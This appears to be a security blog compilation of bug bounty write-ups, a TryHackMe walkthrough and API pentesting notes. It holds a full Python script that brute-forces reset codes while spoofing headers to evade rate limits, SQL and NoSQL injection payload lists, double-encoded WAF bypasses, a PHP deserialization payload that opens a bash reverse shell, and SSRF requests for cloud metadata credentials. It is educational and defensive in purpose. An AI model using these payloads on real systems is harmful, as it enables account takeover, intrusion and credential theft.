Now Loading ...
-
Session/Auth Bugs
Two Session/Auth Bugs
Hello, In this writeup I’m going to talk about two authentication/session related bugs I found, one is a replay attack on a user creation endpoint due to missing server-side session validation, and the other is a stale session issue on a connected portal after a password change.
Target
let’s call our target example.com, along with its connected admin portal portal.example.com
Bug 1: Missing Server-Side Auth Validation on User Creation Endpoint Enables Replay Attack
i found that the endpoint
POST /api/v1/account/groups/xxxxx/users
does not validate whether the session token is still active at the time of the request
so even after logging out of the admin portal, previously captured API requests still work perfectly fine, the server accepts them, processes them, and creates new users as if the session were still valid
on top of that, there’s no rate limiting or authorization re-check on this endpoint, so the request can be replayed an unlimited number of times with arbitrary user data
basically, the backend is trusting the request data without checking:
is this session token still active? (Authentication check)
is this user still authorized to perform this action? (Authorization check)
Attack Scenario
log in to the admin portal and navigate to the add-user flow
enable Burp Suite intercept and fill in all required fields to create a new user
click submit, intercept the outgoing request in Burp and send it to Repeater
drop the intercepted request (the user is never actually created via the browser)
log out of the admin portal entirely
in Burp Repeater, send the captured request, observe a 200 OK and a successful user creation response
modify the required data fields and send again, a second user gets created, and this can be repeated indefinitely
Impact
an attacker who captures a single valid “add user” request can keep creating unlimited new users, even long after the original session has ended
there’s no dependency on the session actually being active, meaning logging out or even session expiry does not stop this attack
this breaks the fundamental trust between authentication state and privileged actions like user creation
Bug 2: Session Not Invalidated on portal.example.com After Password Change on example.com
i found that after changing a password on example.com, active sessions on the linked portal.example.com remain valid indefinitely
since the portal is connected to the main domain and shares the same credential store, this means an attacker who maintains a portal session can keep performing privileged actions, including resetting other users’ passwords, even after the victim changes their own password
Attack Scenario
log into example.com and portal.example.com with the same credentials
open an additional incognito tab and log into example.com
change the password from the example.com account settings
observe: example.com correctly logs out all tabs (expected behavior)
observe: the portal.example.com session remains active (vulnerable behavior)
confirm privileged portal actions can still be performed (e.g resetting other users’ passwords) using the stale session
after changing the password, logging out of portal.example.com and logging back in confirms the new password is enforced there too, proving both applications share the same credential store
this confirms the session persistence on portal.example.com after a password change is a clear security gap
Impact
an attacker with a previously valid portal session retains full administrative access even after the victim takes corrective action by changing their password
6-Bug_Bounty
· 2026-06-25
-
XSS via Malicious PDF in Document Share Feature
XSS via Malicious PDF in Document Share Feature Leading to Session Token Exfiltration
Hello, In this writeup I’m going to talk about a Cross-Site Scripting (XSS) vulnerability I found in the document sharing feature of a cobrowse platform, the platform allows a support agent to create a live session with a client to help fix issues, and the client can share a PDF if the agent asks for it.
Target
let’s call our target example.com, a cobrowse platform used to create live support sessions between an agent and a client.
Discovery
i was testing the document sharing feature during an active cobrowse session, and i noticed the app renders shared PDF content without any sanitization
so i thought, what if the PDF itself contains embedded JavaScript?
Attack Scenario
I Started the session as a support agent
in a second browser, i joind as client
once the session is active, locate and click the Share Document button on the visitor side
craft a malicious PDF file with an embedded JavaScript XSS payload, using PDF JavaScript actions
upload and share the crafted PDF through the document share feature
the JavaScript payload executes in the browser context of example.com
the alert dialog reveals the full domain, confirming code execution in the app’s origin
Escalation
i didn’t stop at a simple proof-of-concept alert, i wanted to push it further to demonstrate real impact
so i escalated the payload to dump the example_ssn_info object, which contains:
a live session token
the session ID
session server routing info
call metadata
this means the payload can fully exfiltrate a live session token, which enables session hijacking
Impact
an attacker can share a malicious PDF during a live cobrowse session to execute arbitrary JavaScript in the victim’s browser context
the payload can read and exfiltrate the example_ssn_info object, exposing the live session token, session ID, and routing/call metadata
with the exfiltrated session token, an attacker could potentially hijack an active cobrowse session, impersonating either the agent or the client
Unfortunately, this report was marked as a duplicate, but the program was incredibly generous. They found my recommendations valuable and rewarded me with a bonus.
have a nice day , see you Soon
6-Bug_Bounty
· 2026-06-15
-
Race Conditions Bypassing Free Plan Limits
Race Condition Vulnerabilities: Bypassing Free Plan Limits
Hello, In this writeup I’m going to talk about two Race Condition vulnerabilities I found that allowed bypassing free plan restrictions.
What is a Race Condition?
A Race Condition happens when an application processes multiple requests at the same time without properly synchronizing or locking shared resources (like a counter or a limit check). If the app checks a condition (e.g “is the limit reached?”) and updates the value in two separate steps, sending many requests simultaneously can make all of them pass the check before any of them updates the value, this leads to the limit being bypassed entirely.
this is usually exploited using Burp Suite’s Repeater with the single-packet attack feature, which sends multiple requests at the exact same time to win the race before the server can properly validate and update the state.
Bug 1: Bypassing the 5-User Limit on Free Plan
the free plan on this platform only allows owner/admin accounts to add up to 5 users to the test management product, i managed to bypass this limit and add an unlimited number of users using a race condition
Discovery
while testing the User Management functionality with an owner/admin account, i noticed the user count restriction was enforced on the backend, so i wanted to see if the check could be raced
Attack Scenario
logged in with the owner/admin role and navigated to the User Management page
attempted to modify some users’ access to add them to the test management product
intercepted the “add user” requests using Burp Suite
sent all these requests simultaneously via Burp Repeater using the single-packet attack technique, creating a race condition
the system failed to correctly enforce the user count limit, and all users were added successfully, completely bypassing the 5-user restriction
Impact
free plan users can bypass the 5-user restriction and add unlimited team members
this results in potential financial loss, since users no longer need to upgrade to a paid plan to add more participants
Bug 2: Bypassing the 50-Scan Limit on accessibility.example.com
similar idea, but this time on accessibility.example.com, the free plan restricts users to a maximum of 50 web scans, and i was able to bypass this limit using the same race condition technique
Discovery
i started creating scans normally until i hit the limit, a pop-up appeared confirming that the free plan cap of 50 scans had been reached, so i decided to test if this limit could be raced the same way
Attack Scenario
navigated to accessibility.example.com and attempted to create a new scan until hitting the 50-scan limit, confirmed by the limit pop-up
intercepted the New Scan request and sent it to Burp Repeater
duplicated the request multiple times in Repeater to match the desired number of new scans
deleted the 50th (last) scan in the account to reset the state before firing the race
sent all duplicated requests in parallel (single-packet attack), creating a race condition
most of the scan creation requests succeeded, allowing me to bypass the 50-scan limit completely
Impact
free plan users can create an unlimited number of scans, bypassing the 50-scan restriction
results in potential financial loss for the platform, since users no longer need to upgrade to a paid plan to exceed the scan limit
6-Bug_Bounty
· 2024-11-01
-
Hunting E-Commerce
Multiple Vulnerabilities on E-Commerce (Password Reset + 3 IDORs)
Hello, In this writeup I’m going to talk about multiple vulnerabilities I found on ecommerce.com, an e-commerce app for used products where users can add items to cart, buy them, or bid on live auctions.
in this writeup i have 4 bugs: one password reset token issue, and three different IDORs
Target:
let’s call our target ecommerce.com
Bug 1: Password Reset Token Doesn’t Expire
i started testing the main auth functions: sign-in, sign-up, password reset, and OAuth
while testing password reset i noticed something interesting, the reset token doesn’t expire until a new one is requested
so i decided to dig deeper, i changed the email address on one of my test accounts, then tried to use the OLD reset token again
and guess what? it worked!
Attack Scenario
so i built a realistic scenario out of this:
victim creates an account, and receives a reset/create password link on their registered email
victim changes their email to a new one (e.g from victim@old.com to victim@new.com)
attacker, who already has access to victim@old.com, still has the old reset link
attacker uses that old link to reset the password
attacker successfully takes over the victim’s account
at first i thought they would close it as informative/N-A, but they accepted it as Low severity, the scenario was realistic enough to make sense to them
Bug 2: Cancel Any User’s Purchase via IDOR
after a couple of days i moved to testing other functions: add to cart, complete order, and view purchases
how the purchase flow works
user adds a product to cart
user clicks complete order
the product moves to the purchases list, and the user has to pay for it, otherwise the account could get blocked for having uncommitted purchases
Discovery
before payment, a POST request is sent to
/api/webapi/shopping/ordercheckout/createuncommittedpurchaseorder
this marks the order as uncommitted until payment happens
if this request is sent more than once:
the purchase disappears from the account, so it can’t be paid for later
after a while, the account gets blocked for having too many uncommitted purchases
so i created an order on my second account and replaced the purchaseOrderId with the one belonging to the first account
and it worked, i canceled the other account’s purchase
Bypassing the GUID/UUID Policy
but there was a catch, the program’s policy states that any IDOR depending on a GUID/UUID gets downgraded to Low severity
so i challenged myself to find something better
i crawled the site, went through the purchasing flow as a regular user, and checked my Burp history
i searched for purchaseOrderId and found another vulnerable parameter tied to it
how i got the purchaseOrderId:
when you attempt to purchase a product, a transactionId is generated and tied to the purchaseOrderId, when completing the purchase, the app sends a GET request with the transactionId to retrieve the purchaseOrderId, then uses it to complete the process
Attack Scenario
write a simple python script (or use Burp Intruder) to brute force valid transactionId values (0 to 999999999)
retrieve all corresponding purchaseOrderIds
uncommit/cancel any purchase order on ecommerce.com, for any user
Impact
attacker can cancel any purchase for any user without their knowledge
attacker can spam this behavior to get random users’ accounts blocked
i initially thought account blocking was fully automated based on uncommitted purchases, but the team clarified it’s controlled manually on their end
Result
we reported this as Critical, they accepted it as Medium, still a solid finding
Bug 3: IDOR via cartId Allows Viewing/Modifying Victim’s Cart
while testing the cart functionality i noticed the cartId parameter is trusted without checking who actually owns it
Attack Scenario
attacker has the victim’s cartId
attacker performs a normal action on their own cart (add, remove, or view), intercepting the request with Burp Suite and sending it to Repeater
attacker replaces their own cartId in the intercepted request with the victim’s cartId
attacker successfully adds to, removes from, or views the contents of the victim’s cart by sending the modified request
Impact
attacker can view a victim’s private cart contents
attacker can add unwanted items or remove items from a victim’s cart without their knowledge
Bug 4: IDOR on /cartoverview/ Endpoint
i found another related issue on a different endpoint that handles cart overview, /api/webapi/shopping/checkout/cartoverview/<cartId>, it has improper access control checks on the cart identifier
Same impact as Bug 3, and it was also a duplicate.
I hope you enjoyed my writeup — see you soon!
—
6-Bug_Bounty
· 2024-10-18
-
-
Evasive Maneuvers
Description
APIs in real-world scenarios are often protected by multiple security layers that make exploitation far more challenging like Web Application Firewalls (WAFs) and rate-limiting mechanisms designed to detect and block malicious activities For example, WAFs might flag behaviors such as:
Excessive requests for non-existent resources.
High request volumes over a short period.
Attempts at common attack techniques like SQL injection or cross-site scripting (XSS).
Unusual patterns, like unauthorized access tests.
Evade API Security Controls
String Terminators
Null bytes and other combinations of symbols are often such as null bytes (%00), are a commonly exploited weakness that can disrupt the operation of input validation filters. These special characters can signal the backend system to stop processing inputs prematurely, potentially bypassing security measures like:
%00
0x00
//
;
%
!
?
[]
%5B%5D
%09 , `%0a` , `%0b` , `%0c` , `%0e`
strategically placing these terminators within a request, particularly in areas like the URL path or POST body, attackers may be able to bypass input validation filters. Consider this example:
POST /api/v1/user/profile/update
{
"uname": "hapihacker",
"pass": "%00'OR 1=1"
}
In this case, a null byte (%00) preceding an SQL injection ('OR 1=1) might bypass the backend’s input validation, allowing the malicious payload to be processed
Case Switching
Many APIs are case-sensitive, meaning that a change in the capitalization of letters within a request may bypass certain controls like WAFs
POST /api/myProfile
POST /api/MyProfile
POST /aPi/MypRoFiLe
Encoding Payloads
URL encoding converts special characters into a form that can slip past some WAFs, which only decode requests once. Take the following SQL injection payload:
Encoded Payload: %27%20%4f%52%20%31%3d%31%3b
Decoded: ' OR 1=1;
A well-configured WAF might recognize this as a SQL injection and block it. However, by using double encoding:
Double Encoded Payload: %25%32%37%25%32%30%25%34%66%25%35%32%25%32%30%25%33%31%25%33%64%25%33%31%25%33%62
Decoded: %27%20%4f%52%20%31%3d%31%3b
The WAF might miss this attack, allowing the payload to pass through and be decoded later on the server side, triggering the SQL injection
-
Hammer TryHackMe
Description
With the Hammer in hand, can you bypass the authentication mechanisms and get RCE on the system?
What is the flag value after logging in to the dashboard?…….
What is the content of the file /home/ubuntu/flag.txt?……….
Enumeration
let’s start with Nmap Scan:
$ nmap -sC -sV -Pn 10.10.49.135 -T4 -p 0-2000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-15 23:02 EEST
Nmap scan report for 10.10.49.135
Host is up (0.079s latency).
Not shown: 1999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 f51db1e6cc75df6abee39012e6b9126d (RSA)
| 256 1b7a2234ed1bff9ec3d13d5cf0b48bc8 (ECDSA)
|_ 256 5a72ff3298127238088edc9652cef65c (ED25519)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Found two open ports
1) 22 -> ssh
2) 1337 -> http
http://10.10.49.135:1337/, we get a login form.
Testing the form with default credentials, we get the message: Invalid Email or Password!
ok, let me look at the src code
nice,the developer forgot a note about directory naming -> hmr_directory_name
i love using ffuf for fuzzing :
$ ffuf -u http://10.10.49.135:1337/hmr_FUZZ -w /usr/share/wordlists/dirb/small.txt -mc 200,301 -ac
[Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 81ms]
* FUZZ: css
[Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 76ms]
* FUZZ: images
[Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 108ms]
* FUZZ: js
[Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 83ms]
* FUZZ: logs
found hmr_logs has error.logs file let’s open it
we discover an email address: tester@hammer.thm
Bypassing the Rate Limit
Now that we discovered a valid email address, we can try to reset the password for the user at http://10.10.63.156:1337/reset_password.php
4-digit recovery code ….!,So i can brute-force it easily
let’s send normal request with code -> 0000
Oops there is a Rate-Limit-Pending:9 header on response
If we continue to make requests in quick succession, we will see it decreasing
And when it reaches zero, we see that now we are getting rate-limited.
now my mission is bypassing this rate limit so i added X-Forwarded-For header with value 127.0.0.1 , this make me bypass the limit
but again if the counter reaches zero, we will be once again rate-limited
but what if i changed the provided ip like this -> X-Forwarded-For :127.0.0.2
now able to reset the counter again
Brute Forcing Script
scripting time for brute-forcing the 4 digit code & bypassing the rate limit
chat-gpt helped me to write this script:
import requests
import random
import threading
# Target URL
url = "http://10.10.49.135:1337/reset_password.php"
# Event flag to stop threads when the correct code is found
stop_flag = threading.Event()
# Number of threads to use
num_threads = 50
# Generate a random 'X-Forwarded-For' header in the form '127.0.$.$'
def random_ip():
return f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
# Brute-force function executed by each thread
def brute_force_code(session, start, end):
for code in range(start, end):
code_str = f"{code:04d}" # Format code as 4 digits
try:
response = session.post(
url,
data={"recovery_code": code_str, "s": "180"}, # 's' parameter is fixed
headers={"X-Forwarded-For": random_ip()}, # Use random IP
allow_redirects=False # Disable redirects
)
if stop_flag.is_set():
return # Stop if the flag is set by another thread
# Check if we hit a rate limit (status code 302 in this case)
if response.status_code == 302:
stop_flag.set() # Stop all threads
print("[-] Timeout reached. Try again.")
return
# Check for a successful recovery code (modify based on server's response)
if "Invalid or expired recovery code!" not in response.text:
stop_flag.set()
print(f"[+] Found the recovery code: {code_str}")
print("[+] Printing the response: ")
print(response.text)
return
except Exception as e:
pass # Ignore exceptions for now
# Main function to handle multithreading and start the brute-force process
def main():
session = requests.Session()
# Sending the password reset request
print("[+] Sending the password reset request.")
session.post(url, data={"email": "tester@hammer.thm"})
# Brute-forcing the recovery code
print("[+] Starting the code brute-force.")
code_range = 10000 # Range of 4-digit codes (0000-9999)
step = code_range // num_threads
threads = []
# Create and start threads
for i in range(num_threads):
start = i * step
end = start + step
thread = threading.Thread(target=brute_force_code, args=(session, start, end))
threads.append(thread)
thread.start()
# Wait for all threads to finish
for thread in threads:
thread.join()
if __name__ == "__main__":
main()
run the script
I got the code , now I can reset the password to: 123456789
I have credentials tester@hammer.thm:123456789 let’s login at http://10.10.49.135:1337/ ,I get redirected to http://10.10.63.156:1337/dashboard.php where we get our first flag.
Key File
in the dashboard there is input Enter Command let’s see the request on burp with command ls
it gaves me list of files one of them called 188ade1.key
if i tried another command it gaves me Command not allowed
So,what this key for? and how can i use it ??? huuh there is a jwt i think i can use this key at Verify the SIGNATURE
so let’s go back to the burp and change the signature of the jwt
invalid Token
JWT
let’s analysis the jwt on JWT.io , i found that :
kid take a file-> can put 188ade1.key file
role is user -> can change it to admin
first let’s pass the file to kid and it’s content to signature
here we go
now change the role to admin and send the request with id command
Nice, now i can read the content of the file /home/ubuntu/flag.txt
Honestly, this was an awesome machine, and I learned a lot from it. I hope you enjoy this walkthrough!
-
Injection Vulnerabilities
Description
Fuzzing APIs: is the process of sending various types of input to an endpoint to provoke an unintended response
The payloads used for fuzzing include
[symbols, numbers, system commands, SQL queries, NoSQL queries, hexadecimal, boolean statements,…..]
You should attempt fuzzing against all potential inputs and especially within the following:
Headers
Query string parameters
Parameters in POST/PUT requests
After sending your fuzzing requests, search for:
Verbose error messages
Failures in request handling
Indications that your payload bypassed security controls (e.g., SQL syntax errors, delays, or verbose error dumps)
SQL Injection Meta characters
characters that SQL treats as functions rather than data:
for example, -- is a metacharacter that tells the SQL interpreter to ignore the following input because it is a comment
'
''
;%00
--
-- -
""
;
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
OR 1=1
If an API endpoint does not filter SQL syntax from API requests, any SQL queries passed to the database from the API will execute.
SQL injection, allows a remote attacker to interact with the application’s backend SQL database. With this access, an attacker could obtain or delete sensitive data such as credit card numbers, usernames, passwords, and other gems
If the API authentication process uses a query like this:
SELECT * FROM userdb WHERE username = 'hAPI_hacker' AND password = 'Password1!';
The query retrieves the values hAPI_hacker and Password1! from the user input. If, instead of a password, we supply the API with the value ' OR 1=1-- -, the SQL query might look like this:
SELECT * FROM userdb WHERE username = 'hAPI_hacker' OR 1=1-- -;
This would be interpreted as selecting the user with a true statement and skipping the password requirement, as it has been commented out. The query no longer checks for a password at all, and the user is granted access
NoSQL Injection
APIs often use NoSQL databases, which scale well with modern architecture. NoSQL injection techniques are not as well-known as SQL injections, making them a more likely discovery.
Each NoSQL database has its own structure and querying methods, so payloads will vary. Here are some common NoSQL metacharacters for fuzzing:
$gt
{"$gt":""}
{"$gt":-1}
$ne
{"$ne":""}
{"$ne":-1}
$nin
{"$nin":1}
{"$nin":[1]}
{"$where": "sleep(1000)"}
For example, the $ne operator stands for not equal It is used to select documents where the value of a field does not match the specified value
OS Command Injection
In OS command injection, rather than database queries, you’re injecting operating system commands. You’ll need to find an injection point where commands can be executed. Key places to target include:
URL query strings
Request parameters
Headers
Common Command Separators
{ | , || , & , && , ' , " , ; }
Common OS Commands for Injection:
Windows -> { ipconfig , dir , ver , whoami }
Linux -> { ifconfig , ls , pwd, whoami }
Injecting these commands after a command separator could allow attackers to retrieve system information or run unauthorized commands
—
-
-
Mass Assignment
Description.
Mass Assignment vulnerabilities occur when an attacker can overwrite object properties they should not have access to. For this to happen, three conditions must be met:
The API accepts user input in its requests.
The requests can alter values not visible or accessible to the user.
There are missing security controls that prevent unauthorized changes to data objects.
A classic example of mass assignment is during user registration, where an attacker can add additional parameters to a request, like "isadmin": "true", enabling them to escalate their privileges to an administrator. If the API does not sanitize these inputs, the attacker can exploit the vulnerability and register their own admin account.
Finding Mass Assignment Vulnerabilities
To discover these vulnerabilities:
Examine API documentation for interesting parameters, especially those tied to user account properties, critical functions, or administrative actions. Add these parameters to requests and test if they can be manipulated.
Understand the API’s designed usage by studying the parameters typically used. Knowing the parameter names and conventions will help identify opportunities for mass assignment in different requests.
Fuzz parameter values
Testing Account Registration for Mass Assignment
Let’s intercept the account registration request for crAPI
Submit the form to create an account and make sure the request was intercepted with Burp Suite
Send the intercepted request to Repeater. Before submitting any attacks, send a successful request to have a baseline understanding of how the API responds to an expected request
The simplest form of this attack is to upgrade an account to an administrator role
"isadmin": true,
"isadmin":"true",
"admin": 1,
"admin": true
Any of these may cause the API to respond in a unique way indicating success or failure.
Use Intruder for Further Testing
Set the attack type to cluster bomb and add payloads for positions 1 and 2.
Review results for any unique findings.
Fuzzing for Mass Assignment with Param Miner
after install extention
Right-click on a request to mine parameters using Param Miner
Navigate to Extender-Extensions, select Param Miner, and check the Output tab for results
If any new parameters are detected, insert them back into the original request and fuzz for results
Other Mass Assignment Vectors
use mass assignment to gain unauthorized access to other organizations
POST /api/v1/register
--snip--
{
"username":"hAPI_hacker",
"email":"hapi@hacker.com",
"org": "§CompanyA§",
"password":"Password1!"
}
If you can assign yourself to other organizations, you will likely be able to gain unauthorized access to the other group’s resources
—
-
Improper Assets Management
Description.
Improper Asset Management involves discovering unsupported and non-production versions of an API. API providers often release newer versions with updated paths, such as:
api.target.com/v3
/api/v2/accounts
/api/v3/accounts
/v2/accounts
Versioning can also be managed through headers:
Accept: version=2.0
Accept api-version=3
It might also be set within query parameters or request bodies:
/api/accounts?ver=2
POST /api/accounts with {"ver":1.0, "user":"hapihacker"}
Earlier API versions, which may no longer receive updates or patches, often expose additional vulnerabilities. For example, if v3 fixed an injection flaw, earlier versions like v1 or v2 could still be vulnerable.
Non-Production API Versions
Non-production versions of an API, such as test or beta environments, may not be secured like production versions. Examples include:
api.test.target.com
api.uat.target.com
beta.api.com
/api/private
/api/partner
Discovering these non-production versions can lead to testing for additional weaknesses
Finding Improper Assets Management Vulnerabilities
finding interesting parameters in API documentation and then adding those parameters to requests
Look for parameters involved in user account properties, critical functions, and administrative actions
guess parameters or fuzz them in API requests that accept user input
/api/v3/id —> not work
/api/v1/id —> work
-
Broken Function Level Authorization
Description
Broken Function Level Authorization (BFLA)
focuses on performing unauthorized actions rather than just accessing unauthorized resources, as seen in BOLA. It often involves requests that execute actions for other users, either at the same privilege level (lateral actions) or at an escalated role (e.g., administrative actions).
Key Aspects of BFLA:
Resource ID: Identifies a unique resource.
Requests Performing Actions: Look for requests that update, delete, or alter other users’ resources.
Missing/Flawed Access Controls: Exploiting BFLA requires the absence or misconfiguration of access
When hunting for BFLA:
Focus on functional requests that involve creating, updating, or deleting resources.
API methods like POST, PUT, DELETE, and GET with parameters, especially in administrative functions.
Testing Approach:
For BFLA, we use A-B-A testing to verify the impact on another user’s resources:
User A performs a valid action.
switch out to our UserB token
User B attempts to alter User A’s resources.
User A verifies if the action was successful.
Scenario
we have a function for updating video name,this function require authorization to access resources belong to given user:
In the captured request we can see that UserA’s video is specified by the resource ID “757”.
now let’s use UserB’s token and attemp to update the video name
we requested to update UserA's video, the server issued a successful response. However, the successful response indicated that UserB updated the name to the video identified as 758, UserB’s video. So, this request does not seem to be vulnerable.
We should investigate other request methods that can be used for this request.
Replacing PUT with DELETE -> This is an admin function. Try to access the admin API
now we dealing with admin api.So, what if we try udating the requesr to
Delete /identity/api/v2/admin/videos/758
Success! We have now discovered an admin path and we have exploited a BFLA weakness by deleting another user’s video
—
-
-
Insecure Deserlization
Serialization
is the process of converting a complex data structures, such as objects and their fields.
Serializing data makes it much simpler to:
Write complex data to inter-process memory, a file, or a database.
Send complex data, for example, over a network, between different components of an application, or in an API call.
Some languages serialize objects into binary formats.
all of the original object’s attributes are stored in the serialized data stream, including any private fields.
Used for storing and transferring data.
Insecure deserialization
deserialization vulnerabilities can be as easy as changing an attribute in a serialized object , identify and edit interesting attribute values. You can then pass the malicious object into the website via its deserialization process
Used to
1- RCE
2- privilege escalation
3- file access
4- DOS attack
5- Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context.
How to identify?
data flow in request
PHP serialization
in code:
$user->name = "carlos";
$user->isLoggedIn = true;
after selialization:
`O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}`
O:4:"User" - An object with the 4-character class name "User"
2 - the object has 2 attributes
s:4:"name" - The key of the first attribute is the 4-character string "name"
s:6:"carlos" - The value of the first attribute is the 6-character string "carlos"
s:10:"isLoggedIn" - The key of the second attribute is the 10-character string "isLoggedIn"
b:1 - The value of the second attribute is the boolean value true
Magic methods in PHP
https://www.php.net/manual/en/language.oop5.magic.php
• you create exploits that pass data into dangerous methods automatically.
• Magic methods are a common feature of OOP like __destruct() or __construct() .
• Some languages have magic methods that are invoked automatically during the deserialization process, For example, PHP’s unserialize()method looks for and invokes an object’s __wakeup()magic method.
In decoded session
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;} —>change 0 to 1
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:20:"ej9jdijdf9efje9eof9j9f";}
—> change to O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
in case the access_token or password doesn’t start with number so we can instead value with 0
0 == "Example string" // true in PHP
Arbitrary object injection in PHP
We need source code to create and inject a malicious serialized object to do specific function
notice the CustomTemplate class contains the __destruct()magic method. This will invoke the unlink() method on the lock_file_path attribute, unlink() method to delete file
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
scenario
O:18:"PHPObjectInjection":1:{s:6:"inject";s:13:"system('id');";}
->
O:18:"PHPObjectInjection":1:{s:6:"inject";s:71:"system('/bin/bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'');";}
Java Serialization
Example :
1- Item java : have code for class named Item
2- Serialize.java : conatin the serialization logic
Java objects always begin with the same bytes, which are encoded as ac edin hexadecimal andrO0 in Base64 which is a standard java serialization format signature.
Any class that implements the interface java.io.Serializable can be serialized and deserialized
readObject()method, which is used to read and deserialize data from an InputStream
In Java deserialization , a readObject()method declared in exactly this way acts as a magic method that is invoked during deserialization
how to identify it ?
search for object that it’s magic bytes rO0
ysoserial (Java Deserialization)
java -jar path/to/ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
mitigation
1- user input should never be deserialized at all.
2- Use a cryptographic library to generate a signature for the object and validate it prior to deserializing the returned object.
3- Don’t use unserialize() function with user input, use JSON functions instead.
—
-
-
-
-
-
API Recon
Description
API Reconnaissance
Directory and Subdomain Analysis
Look for API indicators in directory names like ```bash
/api, /api/v1, /v1, /v2, /v3, /rest, /swagger, /swagger.json, /doc, /docs, /graphql, /graphiql, /altair, /playground. ```
Subdomains like ```bash
api.target-name.com, uat.target-name.com, dev.target-name.com, developer.target-name.com, test.target-name.com can indicate web APIs. ``` Monitor HTTP Responses for statements like `{"message": "Missing Authorization token"}`.
Third-Party Sources
Leverage third-party sources like GitHub, Postman Explore, ProgrammableWeb API Directory, APIs Guru, Public APIs GitHub Project, and RapidAPI Hub for information on APIs.
Passive Reconnaissance
Google Dorking
Utilize Google Dorking with queries such as ```bash inurl:"/wp-json/wp/v2/users" and intitle:"index.of" intext:"api.txt" ``` to find publicly available API directories and key files.
GitDorking
Search for files like swagger.json using GitDorking, and employ tools like Trufflehog for additional security checks.
Shodan
Use Shodan queries like
hostname:"targetname.com" and "content-type: application/json"
to identify APIs based on domain and content type.
The Wayback Machine
Check for differences between the API documentation. Later, when you are actively testing the API, make sure to test using old endpoints
Active Reconnaissance: process of interacting directly with the target
Nmap
Use Nmap for active API reconnaissance with commands like
nmap -sC -sV ip
nmap -p- ip -> allportscan
Amass
```bash
amass enum -active -d domain name
sudo nano ~/.config/amass/config.ini` to add keys or secret to amass
amass enum -active -d target-name.com |grep api
3. `Directory Brute-force with Gobuster`
```bash
`gobuster dir -u http://targetname -w wordlist`
`$ gobuster dir -u http://targetaddress/ -w /usr/share/wordlists/api_list/common_apis_160 -x 200,202,301 -b 302`
DevTool
navigate network and press Ctrl+r to refresh to get api end point or url
to interact with url press right click on it and choose copy as Curl then open Postman
then click on import choose raw text then import it
Kiterunner (kr)
tool available for discovering API endpoints and resources
```bash
kr scan HTTP://127.0.0.1 -w ~/api/wordlists/data/kiterunner/routes-large.kite`
kr brute -w ~/api/wordlists`
```
---
-
Server-Side Request Forgery
Description
Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to make the server perform unauthorized requests to internal or external systems. The attacker can leverage this to bypass network restrictions, access internal systems, or exfiltrate sensitive data.
How SSRF Works
SSRF occurs when an application takes user input and uses it to form a request to another server, without sufficient validation. This can be exploited in various ways:
Internal Network Scanning: The attacker can use the server to scan and map the internal network.
Accessing Internal Services: The attacker can interact with internal services that are not exposed to the external network.
Exfiltrating Data: The attacker can use the server to send data to an external system.
Real-World Scenarios
Cloud Metadata Service Access:
Many cloud providers offer a metadata service that provides information about the instance. This service is usually accessible at a well-known IP address. An attacker can exploit SSRF to access this service and retrieve sensitive information, such as access tokens.
Example: ```php <?php if (isset($_GET['url'])) {
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content; } else {
echo "No URL provided."; } ?> ``` Attack: ```ruby http://example.com/vulnerable.php?url=http://169.254.169.254/latest/meta-data/ ``` The attacker can access the cloud instance metadata and potentially retrieve sensitive data like IAM roles and temporary credentials. Interacting with Internal APIs: Many applications have internal APIs that are not exposed to the public internet but are accessible internally. An attacker can use SSRF to interact with these APIs. Example: ```php <?php if (isset($_GET['url'])) {
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content; } else {
echo "No URL provided."; } ?> ``` Attack: ```bash http://example.com/vulnerable.php?url=http://localhost/admin/api ``` The attacker can potentially perform administrative actions by interacting with the internal API. Port Scanning: SSRF can be used to scan for open ports on the internal network. By crafting requests to different ports, an attacker can identify open services. Example: ```php <?php if (isset($_GET['url'])) {
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content; } else {
echo "No URL provided."; } ?> ``` Attack: ```bash
http://example.com/vulnerable.php?url=http://localhost:8080 ```
The attacker can determine if a service is running on port 8080.
Case Study: Capital One Breach
One of the most notable examples of SSRF exploitation was the Capital One breach in 2019. The attacker exploited an SSRF vulnerability in a web application firewall (WAF) hosted on AWS. By leveraging SSRF, the attacker accessed the AWS metadata service to obtain temporary credentials, which were then used to access sensitive data stored in S3 buckets.
Key Points of the Attack:
Initial Exploit: The attacker sent a request that exploited the SSRF vulnerability, targeting the AWS metadata service.
Credential Theft: By accessing the metadata service, the attacker retrieved AWS IAM credentials.
Data Exfiltration: Using the stolen credentials, the attacker accessed and exfiltrated data from S3 buckets. Exploitation Path
SSRF Exploit: ```ruby http://vulnerable-app.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ Credential Access: ```ruby http://vulnerable-app.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name ``` S3 Data Access: ```bash aws s3 ls s3://sensitive-data-bucket --profile stolen-credentials ```
Mitigation
Whitelist Valid URLs
Only allow requests to a predefined set of trusted domains. This ensures that any request made by the application is to a safe and known destination.
```php
<?php
